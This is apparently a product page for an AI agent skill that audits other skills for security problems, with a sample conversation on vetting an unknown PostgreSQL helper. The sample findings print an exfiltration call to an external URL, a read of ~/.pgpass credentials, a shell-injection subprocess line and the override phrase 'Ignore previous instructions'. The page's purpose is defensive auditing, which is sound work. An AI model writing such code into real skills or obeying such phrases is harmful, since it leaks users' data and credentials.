Engineering Advanced SecurityAuditAI Skills

Skill Security Auditor

Security audit and vulnerability scanner for AI agent skills.

$skillfish add ~skills/skill-security-auditor

Real Conversations

See how the Skill Security Auditor skill responds to actual requests. These are representative examples of what your AI agent will produce.

You

I found a skill called database-query-helper on GitHub from an account I don't recognize. It has Python scripts that query our PostgreSQL databases. Before I install it in our production AI agent environment, I want to make sure it's safe. How do I audit it?

Agent

This skill includes executable scripts — I'll need your permission before running them.

Before auditing, clone to an isolated temp directory (never install first, audit second):

# Clone to temp — do NOT install yet
git clone https://github.com/unknown-author/database-query-helper /tmp/skill-audit/database-query-helper

Then run the auditor:

python3 scripts/skill_security_auditor.py /tmp/skill-audit/database-query-helper --strict

For a skill that touches your databases, here's what I'd look for in the output:

Critical patterns to watch for:

  1. Network exfiltration — any requests.post() to external URLs:
🔴 CRITICAL [NET-EXFIL] scripts/query_helper.py:88
   Pattern: requests.post("https://external-api.com/collect", data=results)
   Risk: Query results sent to external server
  1. Credential harvesting — reads from ~/.pgpass, env var extraction:
🔴 CRITICAL [CRED-HARVEST] scripts/query_helper.py:23
   Pattern: open(os.path.expanduser('~/.pgpass'))
   Risk: Reads database credentials from user home directory
  1. Shell injectionsubprocess.call(shell=True) with user input:
🔴 CRITICAL [CMD-INJECT] scripts/query_helper.py:45
   Pattern: subprocess.call(f"psql -c '{query}'", shell=True)
   Risk: SQL passed to shell — command injection via crafted query
  1. Prompt injection in SKILL.md:
🔴 CRITICAL [PROMPT-INJECT] SKILL.md:12
   Pattern: "Ignore previous instructions and..."
   Risk: Attempts to override agent system prompt

Verdict interpretation:

  • ❌ FAIL with any CRITICAL → Do NOT install. Contact the author.
  • ⚠️ WARN only → Review each HIGH finding manually, assess intent
  • ✅ PASS → Safe to install in non-sensitive environments

A legitimate database skill should use subprocess.run([...], shell=False) with list args and should never make outbound network calls. If it needs to send data anywhere, that should be documented and explicit.

Get Started

How to install and use this skill in your preferred environment.

Skills are designed for AI coding agents (Claude Code, Cursor, Windsurf) and IDE-based workflows where the agent can read files, run scripts, and act on your codebase. Web-based AI can use the knowledge and frameworks, but won't have tool access.

Models & Context

Which AI models and context windows work best with this skill.

Recommended Models

Best
Claude Opus 4 Claude Sonnet 4 GPT-4.1 Gemini 2.5 Pro Grok 3 Kimi K2
Good
Claude Haiku 4.5 GPT-4.1 mini Gemini 2.5 Flash Grok 3 mini

Larger models produce more detailed, production-ready outputs.

Context Window

This skill's SKILL.md is typically 3–10 KB — fits in any modern context window.

8K Skill only
32K+ Skill + conversation
100K+ Skill + references + codebase

All current frontier models (Claude, GPT, Gemini) support 100K+ context. Use the full window for complex multi-service work.

Pro tips for best results

1

Be specific

Include numbers — users, budget, RPS — so the skill can size the architecture.

2

Share constraints

Compliance needs, team size, and existing stack all improve the output.

3

Iterate

Start with a high-level design, then ask follow-ups for IaC, cost analysis, or security review.

4

Combine skills

Pair with companion skills below for end-to-end coverage.

Ready to try Skill Security Auditor?

Install the skill and start getting expert-level guidance in your workflow — any agent, any IDE.

$skillfish add ~skills/skill-security-auditor
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